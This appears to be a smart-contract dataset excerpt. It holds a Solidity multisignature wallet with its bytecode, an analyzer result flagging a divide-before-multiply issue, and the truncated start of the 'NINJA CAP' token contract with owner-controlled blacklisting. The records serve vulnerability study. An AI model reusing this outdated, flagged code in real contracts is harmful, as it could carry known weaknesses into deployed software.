return owner.send(this.balance);
}
}
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="0477706162656a2a63616b76636144676b6a77616a777d772a6a6170">[email protected]</span>>
contract MultiSigWallet {
event Confirmation(address sender, bytes32 transactionHash);
event Revocation(address sender, bytes32 transactionHash);
event Submission(bytes32 transactionHash);
event Execution(bytes32 transactionHash);
event Deposit(address sender, uint value);
event OwnerAddition(address owner);
event OwnerRemoval(address owner);
event RequiredUpdate(uint required);
event CoinCreation(address coin);
mapping (bytes32 => Transaction) public transactions;
mapping (bytes32 => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] owners;
bytes32[] transactionList;
uint public required;
struct Transaction {
address destination;
uint value;
bytes data;
uint nonce;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier signaturesFromOwners(bytes32 transactionHash, uint8[] v, bytes32[] rs) {
for (uint i=0; i<v.length; i++)
if (!isOwner[ecrecover(transactionHash, v[i], rs[i], rs[v.length + i])])
revert();
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier confirmed(bytes32 transactionHash, address owner) {
if (!confirmations[transactionHash][owner])
revert();
_;
}
modifier notConfirmed(bytes32 transactionHash, address owner) {
if (confirmations[transactionHash][owner])
revert();
_;
}
modifier notExecuted(bytes32 transactionHash) {
if (transactions[transactionHash].executed)
revert();
_;
}
modifier notNull(address destination) {
if (destination == 0)
revert();
_;
}
modifier validRequired(uint _ownerCount, uint _required) {
if ( _required > _ownerCount
|| _required == 0
|| _ownerCount == 0)
revert();
_;
}
function addOwner(address owner)
external
onlyWallet
ownerDoesNotExist(owner)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
function removeOwner(address owner)
external
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
updateRequired(owners.length);
OwnerRemoval(owner);
}
function updateRequired(uint _required)
public
onlyWallet
validRequired(owners.length, _required)
{
required = _required;
RequiredUpdate(_required);
}
function addTransaction(address destination, uint value, bytes data, uint nonce)
private
notNull(destination)
returns (bytes32 transactionHash)
{
transactionHash = sha3(destination, value, data, nonce);
if (transactions[transactionHash].destination == 0) {
transactions[transactionHash] = Transaction({
destination: destination,
value: value,
data: data,
nonce: nonce,
executed: false
});
transactionList.push(transactionHash);
Submission(transactionHash);
}
}
function submitTransaction(address destination, uint value, bytes data, uint nonce)
external
ownerExists(msg.sender)
returns (bytes32 transactionHash)
{
transactionHash = addTransaction(destination, value, data, nonce);
confirmTransaction(transactionHash);
}
function submitTransactionWithSignatures(address destination, uint value, bytes data, uint nonce, uint8[] v, bytes32[] rs)
external
ownerExists(msg.sender)
returns (bytes32 transactionHash)
{
transactionHash = addTransaction(destination, value, data, nonce);
confirmTransactionWithSignatures(transactionHash, v, rs);
}
function addConfirmation(bytes32 transactionHash, address owner)
private
notConfirmed(transactionHash, owner)
{
confirmations[transactionHash][owner] = true;
Confirmation(owner, transactionHash);
}
function confirmTransaction(bytes32 transactionHash)
public
ownerExists(msg.sender)
{
addConfirmation(transactionHash, msg.sender);
executeTransaction(transactionHash);
}
function confirmTransactionWithSignatures(bytes32 transactionHash, uint8[] v, bytes32[] rs)
public
signaturesFromOwners(transactionHash, v, rs)
{
for (uint i=0; i<v.length; i++)
addConfirmation(transactionHash, ecrecover(transactionHash, v[i], rs[i], rs[i + v.length]));
executeTransaction(transactionHash);
}
function executeTransaction(bytes32 transactionHash)
public
notExecuted(transactionHash)
{
if (isConfirmed(transactionHash)) {
Transaction storage txn = transactions[transactionHash]; //
txn.executed = true;
if (!txn.destination.call.value(txn.value)(txn.data))
revert();
Execution(transactionHash);
}
}
function revokeConfirmation(bytes32 transactionHash)
external
ownerExists(msg.sender)
confirmed(transactionHash, msg.sender)
notExecuted(transactionHash)
{
confirmations[transactionHash][msg.sender] = false;
Revocation(msg.sender, transactionHash);
}
function MultiSigWallet(address[] _owners, uint _required)
validRequired(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++)
isOwner[_owners[i]] = true;
owners = _owners;
required = _required;
}
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
function isConfirmed(bytes32 transactionHash)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionHash][owners[i]])
count += 1;
if (count == required)
return true;
}
function confirmationCount(bytes32 transactionHash)
external
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionHash][owners[i]])
count += 1;
}
function filterTransactions(bool isPending)
private
constant
returns (bytes32[] _transactionList)
{
bytes32[] memory _transactionListTemp = new bytes32[](transactionList.length);
uint count = 0;
for (uint i=0; i<transactionList.length; i++)
if ( isPending && !transactions[transactionList[i]].executed
|| !isPending && transactions[transactionList[i]].executed)
{
_transactionListTemp[count] = transactionList[i];
count += 1;
}
_transactionList = new bytes32[](count);
for (i=0; i<count; i++)
if (_transactionListTemp[i] > 0)
_transactionList[i] = _transactionListTemp[i];
}
function getPendingTransactions()
external
constant
returns (bytes32[])
{
return filterTransactions(true);
}
function getExecutedTransactions()
external
constant
returns (bytes32[])
{
return filterTransactions(false);
}
function createCoin()
external
onlyWallet
{
CoinCreation(new RoseCoin());
}
}
|
0x606060405236156200010c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c4ecab481146200015f5780630d59b5641462000198578063173825d914620001df5780632f54bf6e14620002035780633d03ec29146200023957806359bf77df1462000251578063607fa5a4146200027c578063642f2eaf14620002975780636486aa5114620003655780637065cb48146200039257806379716e4314620003b65780639119e5fb14620003d1578063c69ed5f21462000431578063d11db83f146200044c578063dc8452cd14620004b8578063e6a6d4c814620004e0578063f3fc536d146200054c578063fbc6d0ff1462000567575b5b60003411156200015c577fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3334604051600160a060020a03909216825260208201526040908101905180910390a15b5b005b34156200016b57600080fd5b62000184600435600160a060020a036024351662000600565b604051901515815260200160405180910390f35b3415620001a457600080fd5b620001cd60048035600160a060020a031690602480359160443591820191013560643562000620565b60405190815260200160405180910390f35b3415620001eb57600080fd5b6200015c600160a060020a0360043516620006a3565b005b34156200020f57600080fd5b62000184600160a060020a036004351662000869565b604051901515815260200160405180910390f35b34156200024557600080fd5b6200015c6200087e565b005b34156200025d57600080fd5b620001cd60043562000900565b60405190815260200160405180910390f35b34156200028857600080fd5b6200015c60043562000983565b005b3415620002a357600080fd5b620002b060043562000a0a565b604051600160a060020a03861681526020810185905260608101839052811515608082015260a0604082018181528554600260001961010060018416150201909116049183018290529060c083019086908015620003525780601f10620003265761010080835404028352916020019162000352565b820191906000526020600020905b8154815290600101906020018083116200033457829003601f168201915b5050965050505050505060405180910390f35b34156200037157600080fd5b6200018460043562000a43565b604051901515815260200160405180910390f35b34156200039e57600080fd5b6200015c600160a060020a036004351662000ad8565b005b3415620003c257600080fd5b6200015c60043562000bcd565b005b3415620003dd57600080fd5b620001cd60048035600160a060020a03169060248035916044358083019290820135916064359160843580820192908101359160a43590810191013562000c13565b60405190815260200160405180910390f35b34156200043d57600080fd5b6200015c60043562000cf8565b005b34156200045857600080fd5b6200046262000e2d565b60405160208082528190810183818151815260200191508051906020019060200280838360005b83811015620004a45780820151818401525b60200162000489565b505050509050019250505060405180910390f35b3415620004c457600080fd5b620001cd62000e49565b60405190815260200160405180910390f35b3415620004ec57600080fd5b6200046262000e4f565b60405160208082528190810183818151815260200191508051906020019060200280838360005b83811015620004a45780820151818401525b60200162000489565b505050509050019250505060405180910390f35b34156200055857600080fd5b6200015c60043562000e6b565b005b34156200057357600080fd5b6200015c600480359060446024803590810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965062000f6695505050505050565b005b600160209081526000928352604080842090915290825290205460ff1681565b33600160a060020a03811660009081526002602052604081205490919060ff1615156200064c57600080fd5b6200068a878787878080601f0160208091040260200160405190810160405281815292919060208401838380828437508b9450620011549350505050565b9150620006978262000bcd565b5b5b5095945050505050565b600030600160a060020a031633600160a060020a0316141515620006c657600080fd5b600160a060020a038216600090815260026020526040902054829060ff161515620006f057600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b60035460001901821015620007f25782600160a060020a03166003838154811015156200073c57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a03161415620007e5576003805460001981019081106200077f57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600383815481101515620007af57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550620007f2565b5b60019091019062000713565b600380546000190190620008079082620015af565b5060035460055411156200082357600354620008239062000983565b5b7f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9083604051600160a060020a03909116815260200160405180910390a15b5b505b5050565b60026020526000908152604090205460ff1681565b30600160a060020a031633600160a060020a03161415156200089f57600080fd5b7faae68a8a885a02fa07c5e1431d58b37a38223b24d17b8435a1942dd778bd6bef620008ca620015dc565b604051809103906000f0801515620008e157600080fd5b604051600160a060020a03909116815260200160405180910390a15b5b565b6000805b6003548110156200097c57600083815260016020526040812060038054919291849081106200092f57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff161562000972576001820191505b5b60010162000904565b5b50919050565b30600160a060020a031633600160a060020a0316141515620009a457600080fd5b6003548181811180620009b5575080155b80620009bf575081155b15620009ca57600080fd5b60058390557f0cfd262243fb0dd33ba2604015772142a737b088fb078ec5aa18bea2c58c29a28360405190815260200160405180910390a15b5b50505b50565b60006020819052908152604090208054600182015460038301546004840154600160a060020a0390931693919260029092019160ff1685565b600080805b60035481101562000ac0576000848152600160205260408120600380549192918490811062000a7357fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff161562000ab6576001820191505b5b60010162000a48565b60055482141562000ad057600192505b5b5050919050565b30600160a060020a031633600160a060020a031614151562000af957600080fd5b600160a060020a038116600090815260026020526040902054819060ff161562000b2257600080fd5b600160a060020a0382166000908152600260205260409020805460ff19166001908117909155600380549091810162000b5c8382620015af565b916000526020600020900160005b8154600160a060020a038087166101009390930a92830292021916179055507ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d82604051600160a060020a03909116815260200160405180910390a15b5b505b50565b33600160a060020a03811660009081526002602052604090205460ff16151562000bf657600080fd5b62000c02823362001339565b620008658262000cf8565b5b5b5050565b33600160a060020a03811660009081526002602052604081205490919060ff16151562000c3f57600080fd5b62000c7d8b8b8b8b8080601f0160208091040260200160405190810160405281815292919060208401838380828437508f9450620011549350505050565b915062000ce8828787808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050508686808060200260200160405190810160405280939291908181526020018383602002808284375062000f66945050505050565b5b5b509998505050505050505050565b600081815260208190526040812060040154829060ff161562000d1a57600080fd5b62000d258362000a43565b1562000862576000838152602081905260409081902060048101805460ff19166001908117909155815490820154919450600160a060020a031691600285019051808280546001816001161561010002031660029004801562000dcc5780601f1062000da05761010080835404028352916020019162000dcc565b820191906000526020600020905b81548152906001019060200180831162000dae57829003601f168201915b505091505060006040518083038185876187965a03f192505050151562000df257600080fd5b7f7e9e1cb65db4927b1815f498cbaa226a15c277816f7df407573682110522c9b18360405190815260200160405180910390a15b5b5b505050565b62000e376200161a565b62000e436001620013ea565b90505b90565b60055481565b62000e596200161a565b62000e436000620013ea565b90505b90565b33600160a060020a03811660009081526002602052604090205460ff16151562000e9457600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151562000eca57600080fd5b600084815260208190526040902060040154849060ff161562000eec57600080fd5b600085815260016020908152604080832033600160a060020a0381168552925291829020805460ff191690557f9aec1a62b961581534d37fd62d35e3648f05a17b1f986eda1d1a9d97b147840691879051600160a060020a03909216825260208201526040908101905180910390a15b5b505b50505b5050565b6000838383835b825181101562001062576002600060018686858151811062000f8b57fe5b9060200190602002015186868151811062000fa257fe5b9060200190602002015187878a51018151811062000fbc57fe5b906020019060200201516040516000815260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f115156200102657600080fd5b505060206040510351600160a060020a0316815260208101919091526040016000205460ff1615156200105857600080fd5b5b60010162000f6d565b600094505b86518510156200113d57620011308860018a8a89815181106200108657fe5b906020019060200201518a8a815181106200109d57fe5b906020019060200201518b8d518c0181518110620010b757fe5b906020019060200201516040516000815260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f115156200112157600080fd5b50506020604051035162001339565b5b60019094019362001067565b620011488862000cf8565b5b5b5050505050505050565b600084600160a060020a03811615156200116d57600080fd5b858585856040516c01000000000000000000000000600160a060020a038616028152601481018490526034810183805190602001908083835b60208310620011c857805182525b601f199092019160209182019101620011a6565b6001836020036101000a03801982511681845116179092525050509190910192835250506020019250604091505051908190039020600081815260208190526040902054909250600160a060020a031615156200132e5760a06040519081016040908152600160a060020a038816825260208083018890528183018790526060830186905260006080840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039190911617815560208201518160010155604082015181600201908051620012ae9291602001906200162c565b506060820151816003015560808201516004918201805460ff1916911515919091179055805490915060018101620012e78382620015af565b916000526020600020900160005b50839055507f1b15da2a2b1f440c8fb970f04466e7ccd3a8215634645d232bbc23c75785b5bb8260405190815260200160405180910390a15b5b5b50949350505050565b6000828152600160209081526040808320600160a060020a03851684529091529020548290829060ff16156200136e57600080fd5b6000848152600160208181526040808420600160a060020a038816855290915291829020805460ff191690911790557fe1c52dc63b719ade82e8bea94cc41a0d5d28e4aaf536adb5e9cccc9ff8c1aeda908490869051600160a060020a03909216825260208201526040908101905180910390a15b5b50505050565b620013f46200161a565b620013fe6200161a565b6004546000908190604051805910620014145750595b908082528060200260200182016040525b50925060009150600090505b6004548110156200151c578480156200148157506000806004838154811015156200145857fe5b906000526020600020900160005b5054815260208101919091526040016000206004015460ff16155b80620014cd575084158015620014cd5750600080600483815481101515620014a557fe5b906000526020600020900160005b5054815260208101919091526040016000206004015460ff165b5b1562001512576004805482908110620014e357fe5b906000526020600020900160005b50548383815181106200150057fe5b60209081029091010152600191909101905b5b60010162001431565b816040518059106200152b5750595b908082528060200260200182016040525b509350600090505b81811015620015a65760008382815181106200155c57fe5b9060200190602002015111156200159c578281815181106200157a57fe5b906020019060200201518482815181106200159157fe5b602090810290910101525b5b60010162001544565b5b505050919050565b815481835581811511620008625760008381526020902062000862918101908301620016df565b5b505050565b604051610e20806200172883390190565b815481835581811511620008625760008381526020902062000862918101908301620016df565b5b505050565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200166f57805160ff19168380011785556200169f565b828001600101855582156200169f579182015b828111156200169f57825182559160200191906001019062001682565b5b50620016ae929150620016df565b5090565b815481835581811511620008625760008381526020902062000862918101908301620016df565b5b505050565b62000e4691905b80821115620016ae5760008155600101620016e6565b5090565b90565b62000e4691905b80821115620016ae5760008155600101620016e6565b5090565b90560060606040908152600080556001805460ff191681179055655af3107a400060028190556402540be40060035567016345785d8a0000600455600855608090519081016040908152600c8252600a6020830181905290820152600d606082015261006c9060099060046100f8565b5060806040519081016040908152655666e940f0008252654d4e9ace500060208301526000908201526548c27395000060608201526100af90600d90600461013c565b5034156100bb57600080fd5b5b60058054600160a060020a03191633600160a060020a03908116919091179182905560025491166000908152600660205260409020555b6101a6565b826004810192821561012b579160200282015b8281111561012b578251829060ff1690559160200191906001019061010b565b5b50610138929150610185565b5090565b826004810192821561012b579160200282015b8281111561012b578251829065ffffffffffff1690559160200191906001019061014f565b5b50610138929150610185565b5090565b6101a391905b80821115610138576000815560010161018b565b5090565b90565b610c6a80620001b66000396000f300606060405236156101245763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416628df454811461012957806306fdde0314610151578063095ea7b3146101dc57806318160ddd1461021257806323b872dd14610237578063313ce5671461027357806331eb7a1a1461029c5780633c50afe1146102c45780633ccfd60b146102e95780633eaaf86b1461031057806363ae8d6c146103355780636b9cf5341461034d57806370a082311461037257806378f2144b146103a35780637d8966e4146103c85780638b9e4768146103dd5780638da5cb5b1461040257806395d89b4114610431578063a6f2ae3a146104bc578063a9059cbb146104d6578063dd62ed3e1461050c578063f9323a3214610543575b600080fd5b341561013457600080fd5b61013f60043561056a565b60405190815260200160405180910390f35b341561015c57600080fd5b610164610582565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a15780820151818401525b602001610188565b50505050905090810190601f1680156101ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e757600080fd5b6101fe600160a060020a03600435166024356105b9565b604051901515815260200160405180910390f35b341561021d57600080fd5b61013f610626565b60405190815260200160405180910390f35b341561024257600080fd5b6101fe600160a060020a036004358116906024351660443561062d565b604051901515815260200160405180910390f35b341561027e57600080fd5b610286610749565b60405160ff909116815260200160405180910390f35b34156102a757600080fd5b61013f60043561074e565b60405190815260200160405180910390f35b34156102cf57600080fd5b61013f610766565b60405190815260200160405180910390f35b34156102f457600080fd5b6101fe61076c565b604051901515815260200160405180910390f35b341561031b57600080fd5b61013f6107be565b60405190815260200160405180910390f35b341561034057600080fd5b61034b6004356107c4565b005b341561035857600080fd5b61013f6107e9565b60405190815260200160405180910390f35b341561037d57600080fd5b61013f600160a060020a03600435166107ef565b60405190815260200160405180910390f35b34156103ae57600080fd5b61013f61080e565b60405190815260200160405180910390f35b34156103d357600080fd5b61034b610814565b005b34156103e857600080fd5b61013f610845565b60405190815260200160405180910390f35b341561040d57600080fd5b61041561084b565b604051600160a060020a03909116815260200160405180910390f35b341561043c57600080fd5b61016461085a565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a15780820151818401525b602001610188565b50505050905090810190601f1680156101ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61013f610891565b60405190815260200160405180910390f35b34156104e157600080fd5b6101fe600160a060020a0360043516602435610b39565b604051901515815260200160405180910390f35b341561051757600080fd5b61013f600160a060020a0360043581169060243516610c08565b60405190815260200160405180910390f35b341561054e57600080fd5b6101fe610c35565b604051901515815260200160405180910390f35b6009816004811061057757fe5b0160005b5054905081565b60408051908101604052600881527f526f7365436f696e000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260076020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b6002545b90565b600160a060020a03831660009081526006602052604081205482901080159061067d5750600160a060020a0380851660009081526007602090815260408083203390941683529290522054829010155b80156106895750600082115b80156106ae5750600160a060020a038316600090815260066020526040902054828101115b1561073d57600160a060020a0380851660008181526006602081815260408084208054899003905560078252808420338716855282528084208054899003905594881680845291905290839020805486019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3506001610741565b5060005b5b9392505050565b600581565b600d816004811061057757fe5b0160005b5054905081565b60085481565b60055460009033600160a060020a0390811691161461078a57600080fd5b600554600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19450505050505b5b90565b60025481565b60055433600160a060020a039081169116146107df57600080fd5b60038190555b5b50565b60045481565b600160a060020a0381166000908152600660205260409020545b919050565b60035481565b60055433600160a060020a0390811691161461082f57600080fd5b6001805460ff19811660ff909116151790555b5b565b60005481565b600554600160a060020a031681565b60408051908101604052600381527f5253430000000000000000000000000000000000000000000000000000000000602082015281565b600554600090819033600160a060020a03908116911614156108b257600080fd5b60015460ff1615806108c5575060045434105b806108dc5750600d60035b0160005b505460085411155b156108e657600080fd5b60009150600354348115156108f757fe5b0490505b60008111801561090d57506003600054105b15610a27576000546009906001016004811061092557fe5b0160005b50546000546009906004811061093b57fe5b0160005b5054820281151561094c57fe5b049050600d60005460048110151561096057fe5b0160005b50548101600854111515610a11576000546009906004811061098257fe5b0160005b50546000546009906001016004811061099b57fe5b0160005b5054600854600054600d90600481106109b457fe5b0160005b5054840103028115156109c757fe5b049050600d6000546004811015156109db57fe5b0160005b50546008540382019150600d6000546004811015156109fa57fe5b0160005b5054600855600080546001019055610a22565b600880548290039055016000610a27565b6108fb565b600554600160a060020a031660009081526006602052604090205482901015610a4f57600080fd5b6000811115610a8d5760035402600160a060020a03331681156108fc0282604051600060405180830381858888f193505050501515610a8d57600080fd5b5b60058054600160a060020a0390811660009081526006602052604080822080548790039055338316825290819020805486019055915416903483900380156108fc029151600060405180830381858888f193505050501515610aef57600080fd5b600554600160a060020a0333811691167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35b5b5b5090565b600160a060020a033316600090815260066020526040812054829010801590610b625750600082115b8015610b875750600160a060020a038316600090815260066020526040902054828101115b15610bf957600160a060020a033381166000818152600660205260408082208054879003905592861680825290839020805486019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3506001610620565b506000610620565b5b92915050565b600160a060020a038083166000908152600760209081526040808320938516835292905220545b92915050565b60015460ff16815600a165627a7a723058200ab6747bf6366821ca0b17463b94fd93549721cf52b8921d7332680f9e3e22f50029a165627a7a72305820f1ca5a6e4b1b5649265f895548e842a9cda2da37b0c51aefacdf32bde63a4c750029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,393 |
0x577aa39e001db5d3cdf64106d8c0f1fe11585f6d
|
/**
*Submitted for verification at Etherscan.io on 2022-03-18
*/
// SPDX-License-Identifier: Unlicensed
//TG: @NinjaCap
//website: ninjacapiital.io
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NINJACAP is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "NINJA CAP";
string private constant _symbol = "NCAP";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 3;
uint256 private _taxFeeJeets = 7;
uint256 private _redisFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x46b4B7A72Ae1fbE4E9C1162b06B7E07bcc3D1819);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 2e10 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
